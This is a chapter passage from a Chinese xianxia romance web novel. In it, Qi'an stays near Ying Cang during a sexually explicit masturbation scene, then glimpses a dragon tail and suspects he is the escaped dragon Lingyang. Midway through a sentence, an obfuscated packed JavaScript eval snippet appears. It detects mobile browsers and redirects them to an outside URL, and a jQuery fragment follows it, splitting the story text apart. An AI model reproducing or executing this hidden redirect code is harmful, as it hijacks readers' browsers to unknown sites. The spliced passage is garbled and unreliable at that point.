“什、什么意思。”
祈安明白应苍说的话,只是她一时还没有找到应对的法子,嘴上只能机械式的询问,脑子在迅速想着。
怎么办、怎么办。
应苍坐在树根处,晚间山野里的风对他体内的火一点用处都没有。
他已经知道,祈安的解药没有起效,自己也没办法再回到房间里,唯一的路子就是在这里...
可祈安就在他身边,应苍在理智尚存的时候,几近哀求道:“你走远点。”
这句话一出,祈安稍加思考,就明白了应苍的意思。自己走远点,他就好独自缓解一下。
祈安点点头,背身往远处走去。
应苍看到她离开的身影,松了口气。潮湿的手开始松开自己最后的衣带,刚准备探下去的时候,却听到了远处女孩儿的声音:
“应苍,我还是留在这里吧。要是你有什么事情,我还能帮上点忙。”
突然出现的声音和靠近的身影,打乱了应苍的节奏。
他行进到一半的手被迫停下了动作。
祈安只需要一瞟,就看的到应苍露出的腹部。人鱼线从松垮挂着的裤子边,缓缓往上延伸,而应苍上半身一边的衣服已经褪到了背上,一粒粉色若隐若现。
祈安呼吸一滞,昨天晚上一些残存的记忆又涌了上来。她告诫自己要保持镇定,这只是一场实验,要有专业精神。
尽可能地避免往应苍露着的皮肤上瞄。祈安将视线更多地停留在了他的脸上。
可这张脸此刻也艳得犯规。什么拒人千里之外、冷若冰山、不近人情的神色通通不见了,满脸只看得到欲望二字。
头往后仰着,双眼微阖,发丝被汗水黏在了脸侧。胸膛因为呼吸而上下起伏着,露出一段透着红润的脖颈,喉结在滑动,鸟儿在轻啼。
祈安承认自己被这一幕吸引住了。
以前的朋友都说她慕强,只喜欢各方面都优秀的人。她不置可否,向来都只是笑笑。
没有人知道,她是喜欢强者,却也更喜欢强者在自己面前破碎的样子。
这时候的应苍就是这样。
初遇时哪怕他满身是伤,眼里也没有一丝惧意,有的只有孤傲与不满。尽管清虚说他是筑基修为,可祈安看得出来,应苍就是一个天生强者。
强者身上的气息,是模仿不出来的。
这也是祈安后面主动与他接触的一点私心。
此刻的应苍,无外乎是破碎的。
有着一种瓷娃娃被摔碎后诡异的美感。
祈安一直在告诫自己:冷静、冷静,救人要紧......
她前几天在学习功法的时候,刚学会了障避术。祈安将灵力凝在指尖,默念口诀。很快,在她和应苍身前,升起了一道淡淡的光幕。
祈安还只有练气期,这光幕只能挡得住普通人的视线,若是来几个高阶修士,光幕下的场景依旧清晰可见。
不过好在,聊胜于无。
祈安灵力不多,光幕能够划出的范围有限,只有一小块够他们活动的空间。她走到应苍的背后,在同一棵树的另一侧坐下:
“你不用担心,我在这里什么都看不到。只是担心你一个人遇到什么危险,毕竟这也是因我而起,不能一个人离开。”
应苍不愿意祈安在自己身旁,他低吼着:“走开。”
祈安声音平淡:“我不。”
“再说一次,走开。”
“不走。”
“你到底走不...”
一只手从身后伸出,直接覆上了应苍的胸前,截断了应苍后面的话。
祈安故意将自己整只手都放上去,不偏不倚,正中红心,完全可以感受到手心中央的颗粒感。
她想了想,又来回摩擦了几下。
嗯啊。
应苍被祈安大胆的举动彻底驯服了,他的理智完全土崩瓦解,一只手捏着祈安的手往自己胸前按,另外一只手继续起刚才没有做完的动作。
祈安听到身后应苍的说话声渐停,逐渐被衣物之间的摩擦声所代替,就知道他已经开始了。
她仍然保持着一只手放在应苍胸上的动作。一个动作维持久了,难免会有些不舒服,何况她此刻整个身体都是僵硬的。
祈安想调整一下,手刚从应苍身上离开一点点,就被他给抓住了。
喘息的空隙中,蹦出了两个字:“别动。”
祈安很难形容自己听到这两个字时的感觉,酥酥麻麻的。既有祈求,又有命令,矛盾极了。祈安果然没再动了。
她一向是这样的,别人让她满足了,让她自然也会让别人满足。
不管是物质上,还是精神上。
有时祈安都分不清楚,这究竟是因为她不愿意欠别人的,还是因为她总把自己摆在一个更高的位置。
毕竟高位的人,总是可以施舍的。
维持这动作不知道过了多久,祈安实在是有些撑不住了。半边身子已经麻木,在很多次她都以为应苍要结束的时候,他的动作就又慢了下来。
接着就是绵长又低沉的呻-吟声。
到底什么时候才好。
她的耐心快要耗尽,没忍住,催促了下:“还要多久才好。”
应苍没有说话,回答她的依旧是沉重的声音。
“快好了吗?”
又一次的催促。
“现在呢?”
... ...
祈安实在是想活动一下身子了:“应苍。”
应苍到现在的状态有一段时间了,每次在喷发的边缘时,总感觉差些什么,所以都硬生生地卡在了关口处。就在刚才祈安叫了声他的名字后,几个场景画面的闪回,帮他冲破了关口,喷涌而出。
祈安的手被松开,身后人的动作明显加快。祈安捧着自己发酸的手腕,不敢动弹。
直到急促的喘息声停止,直到呼吸声渐平,祈安明白这因为自己而起的荒唐事终于结束了。
她打算起身,突然听到身后地上有窸窣的声音。祈安对这种声音很敏感,住在孤儿院时,旁边就是一大片荒地。夏天经常会听到类似的声音,都是有蛇从附近经过。
祈安担心自己和应苍被毒蛇咬到,连忙转身。可就在她转身的瞬间,她看到一条尾巴迅速地收回到了应苍的衣服内。
虽然只是一瞬间,但祈安看得真切。
那条尾巴上整齐地排列着龙鳞,和自己脖子上的那个一模一样。
地上也有尾巴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263823|178270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
划过的痕迹。
祈安陡然升起了一个可怕的念头,她面上依旧维持着平静,但说话的声音还是带了些颤抖:
“你收拾好了吗?”
应苍还停留在情潮的余韵里,没有感受到祈安的不对劲。他拿出帕子将自己手指一一擦拭干净,衣服收拾妥当后,才站起来。
祈安听到动静后,绕到应苍面前:“走吧,回家去。”
两人一前一后走着,一路上一句话都没有说,直到分开前,祈安漫不经心地说了句:
“你早点休息。”
说罢,就回了自己的房间。
应苍看着祈安的背影,明显感知到了她状态的变化。他握住自己左边手腕,拇指一直搓着上面的疤痕:
难道说,刚才她已经看到了?
在最后的阶段,应苍没想到自己没藏住真身。
龙尾突然显现,虽然收得及时,但还是有被发现的可能。
应苍在门口站了很久,他开始思考后面的对策。
*
祈安回房之后,立马给自己倒了茶。咕嘟咕嘟连喝三杯后,才缓解了自己口中的干渴。
她仔细回忆刚才看到的那条尾巴。
回收的动作很明显,且只剩下了尾巴尖。要不是有月色,龙鳞泛着墨绿色的光,祈安都不会和自己那个吊坠联系在一起。
只是这颜色太特殊了。
墨绿色。
在原书里,苍龙的本体就是墨绿色的。
她开始在自己的脑海中拼凑记忆拼图。
遇到应苍的时候,他满身的伤。易为春曾说那是贯穿伤,从前胸穿到后背,似乎是被人锁在了某处。
原书里,苍龙一族的凌阳就是被九幽玄铁锁在了无光谭里,截止目前,已有千余年。
在遇到应苍没多久,青霞宗的九霄真人就通告了整个修真界,凌阳出逃。
时间上,也刚好对得上。
祈安越想越觉得自己的猜想是对的。
应苍曾说过他只喜欢吃鱼虾,符合原书里对凌阳的描述。
还有...
那道疤!
祈安今早看到了应苍腕骨处月牙形的疤痕。难怪那时候觉得眼熟,原来书里也描述过。
凌阳有个标志性的动作,在思考或是精神高度紧张的时候,就会用右手拇指一直摸着那里,直到想出答案来。
照这么想,应苍极有可能,就是当年的凌阳。
凌阳...凌阳...
如果是同一个人,面容上怎么会相差这么多?在祈安想象中的凌阳,不是应苍这般孤高的模样。
哪怕是骄傲,凌阳的骄傲也是如同火焰一般。
可是眼前的应苍的,分明全是黯淡的黑色。
祈安整晚都在想着应苍,连梦里也不例外。梦里的应苍显出了龙身,用尾巴将她卷起,放在了背上。背上缺了一块鳞片,祈安掏出了自己怀里的那枚,形状大小刚好契合。
她一把抱住了龙的脖子,蹭了蹭。
应苍看着半夜梦行症发作来到自己房间里祈安,没有任何征兆地抱住了自己。
然后问出了那句连他自己都无法回答的话:
“你现在是应苍,还是凌阳呀。”